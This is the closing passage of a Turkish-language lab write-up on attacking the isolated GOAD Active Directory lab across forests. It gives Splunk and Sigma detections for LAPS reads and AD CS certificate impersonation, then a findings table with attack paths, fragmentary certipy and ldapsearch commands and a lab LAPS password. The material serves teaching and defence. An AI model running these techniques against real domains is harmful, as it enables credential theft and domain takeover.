| AD CS Sertifika Düzenlenmesi | `4887` | Sertifika Servisi Onaylandı ve Verildi | `Template: ESC1/ESC2`, Talep eden ile Sertifika Öznesi uyumsuzluğu (`daenerys` taklidi) |
| Ağ Yoluyla Yönetici Girişi | `4624` | Başarılı Ağ Oturumu | `LogonType: 3`, Hedef `BRAAVOS$` / `MEEREEN$`, Hesap `daenerys.targaryen` |

### SIEM ve SOC tespit kuralları

Ormanlar arası pivot adımlarını, LAPS okumalarını ve sertifika kimliğe bürünmelerini tespit etmek hedefe yönelik SIEM kuralları gerektirir:

#### 1. Splunk: LAPS Özniteliği Okuma (Event ID 4662)

Gizli ve düz metin LAPS parolasını barındıran `ms-Mcs-AdmPwd` özniteliğine (GUID `{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}`) yönelik dizin okuma işlemlerini tespit eder:

```splunk
index=wineventlog EventCode=4662 ObjectType="computer"
| search AccessMask="0x10" AND Properties="*{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}*"
| table _time, SubjectUserName, ComputerName, ObjectName, Properties
```

#### 2. Splunk: SAN Taklidi İçeren AD CS Sertifika Talebi (Event ID 4887)

`ESSOS-CA` tarafından düzenlenen sertifikalarda talep eden hesap ile sertifika içindeki Subject Alternative Name (SAN) UPN kimliğinin uyuşmadığı durumları yakalar:

```splunk
index=wineventlog EventCode=4887
| search CertificateTemplate IN ("ESC1", "ESC2")
| eval requester=coalesce(Requester, SubjectUserName)
| where requester != UPN AND isnotnull(UPN)
| table _time, ComputerName, requester, UPN, CertificateTemplate
```

#### 3. Sigma kural kesiti: Yetkisiz LAPS parolası sorgulaması

```yaml
title: Yetkisiz LAPS Parolasi Oznitelik Sorgusu
status: experimental
description: Duz metin ms-Mcs-AdmPwd ozniteligine yapilan LDAP okuma islemlerini tespit eder
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'computer'
    AccessMask: '0x10'
    Properties|contains: '{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}'
  condition: selection
falsepositives:
  - Yetkili merkezi yardim masasi yonetim yazilimlari
level: high
```

## Bulguların özeti

| Bulgu | Yol | Etki | Doğrula (Kali'den) | Kontrol |
| --- | --- | --- | --- | --- |
| Orman güveninde SID filtering AÇIK | `sevenkingdoms` ↔ `essos` | Sahte `ExtraSids`/SID-history bileti DA'ya ulaşamaz | `ldapsearch ...` (`trustedDomain` `trustAttributes`) | Quarantine'i açık tut; güven tipini denetle |
| Yabancı grup yuvalama | `Small Council` (sevenkingdoms) → `Spys` (essos) | Bir sevenkingdoms principal'ı `jorah.mormont` üzerinde `GenericAll` tutar | `ldapsearch ...` (`foreignSecurityPrincipal`) | Yalnızca ayrılmış ormanlar arası yönetici gruplarını yuvala |
| Orman içi ACL zinciri | `missandei → khal.drogo → viserys → jorah` | Shadow credentials ile parolasız üç NT hash | Her adımda `certipy-ad shadow auto -account <u>` | Kullanıcılar arası `GenericAll`/`GenericWrite`'i kaldır |
| `BRAAVOS$` üzerinde `ReadLAPSPassword` | `jorah.mormont` | `BRAAVOS` yerel yöneticisi (`E(D8oS]3zX79Px`) | `ldapsearch ... "(ms-Mcs-AdmPwd=*)"` | `ms-Mcs-AdmPwd` okuyucularını denetle; Windows LAPS |
| `ESSOS-CA` ESC şablonları | `BRAAVOS` üzerinde `ESSOS-CA` | ESC1/2/3/4/6/8/9/11 → PKINIT ile `daenerys` (DA) | `certipy-ad find ... -vulnerable` | `EnrolleeSuppliesSubject`'i kaldır; HTTP enrollment'ı kapat |
| Yuvalanmış `Domain Admins` | `drogon ∈ Dragons ∈ QueenProtector ∈ DA` | İç içe gruplarla etkin DA | BloodHound `AdminTo` / `MemberOf` | Ayrıcalıklı grup yuvalamasını düzleştir |

## Seriyi kapatırken

Bu, dört bölümlük anlatının son parçası ve biçiminin kendisi asıl ders: **üç etki alanı, iki orman ve her "exploit" aslında birinin unuttuğu bir sınırı geçen sıradan bir Windows özelliğiydi.** Bölüm 1, kimlik doğrulamasız numaralandırmayı ve AS-REP Roasting'i bir dayanak noktasına dönüştürdü. Bölüm 2, bir servis hesabını Kerberoast etti ve constrained delegation üzerinden NORTH DC'sine ulaştı. Bölüm 3, orman köküne kadar sekiz adımlı bir ACL zinciri yürüdü. Burada ise orman güveninin SID filtering'i bizi bilet üretmeyi bırakıp *doğru principal olmaya* zorladı: yabancı bir grup üyeliği, üç adımlı bir ACL zinciri ve LAPS üzerinden ilerledik; AD CS ise tek satırlık bitişi sundu. Her aşamada kullanılan şey bir yazılım açığı değil, yanlış yapılandırılmış meşru bir özellikti.

Burada özet geçtiğimiz derinlikli teknikler, sitemizde ayrı bağımsız teknik analizler olarak yayımlanmıştır:
- **Ormanlar Arası Veritabanı Hareketi:** [SQL Server Linked Servers ile Ormanlar Arası Pivot](/tr/yazilar/mssql-linked-servers/) (`CASTELBLACK ↔ BRAAVOS` `sa` eşlemeleri üzerinden güven sınırlarını atlama).
- **Sertifika Servisleri İstismarı:** [AD CS ESC Taksonomisi: ESC1'den ESC15'e Saldırı Yüzeyi](/tr/yazilar/ad-cs-esc-taxonomy/) ve [AD CS ESC1: Düşük Yetkili Kullanıcıdan Domain Admin'e](/tr/yazilar/ad-cs-esc1-domain-admin/).
- **Şablon Ele Geçirme:** [AD CS ESC4 & ESC6: Şablon Hijacking ve SAN İstismarı](/tr/yazilar/ad-cs-esc4-esc6/).
- **Savunma Sıkılaştırması:** [AD CS Sıkılaştırma: Kerberos PKINIT Zorunluluğu ve NTLM Zorlamasını Engelleme](/tr/yazilar/ad-cs-rest-hardening/).

## Kanıt ve sınırlar

Ormanlar arası güven (`trustAttributes`) kontrolleri, ACL adımları (`missandei → khal.drogo → viserys.targaryen`), `BRAAVOS` üzerindeki LAPS parola okuması ve `ESSOS-CA` şablon numaralandırması, `sevenkingdoms.local` ile `essos.local` arasındaki izole GOAD laboratuvarında yürütüldü. Gösterilen tüm kimlik bilgileri ve SID değerleri GOAD test veri kümesine aittir; hiçbir trafik host-only laboratuvar ağının dışına çıkmadı. Başarısız sertifika isteği değiştirilmeden korundu, çünkü yapılandırmanın savunmasız olması ile servisin gerçekten çalışması arasındaki farkı göstermesi açısından öğretici.

## Referanslar

- **Orange Cyberdefense, GOAD (Game of Active Directory):** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **S1ckB0y1337, Active Directory Exploitation Cheat Sheet:** [github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
- **HackTricks, Active Directory Methodology:** [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology)
- **The Hacker Recipes, Trusts:** [thehacker.recipes/ad/movement/trusts](https://www.thehacker.recipes/ad/movement/trusts/)
- **Microsoft Open Specifications, `[MS-ADTS]` §6.1.6.7.9 trustAttributes:** [learn.microsoft.com](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c)
- **SpecterOps, Shadow Credentials:** [posts.specterops.io](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
- **MITRE ATT&CK, Steal or Forge Kerberos Tickets (T1558):** [attack.mitre.org/techniques/T1558](https://attack.mitre.org/techniques/T1558/)
- **MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006):** [attack.mitre.org/techniques/T1003/006](https://attack.mitre.org/techniques/T1003/006/)
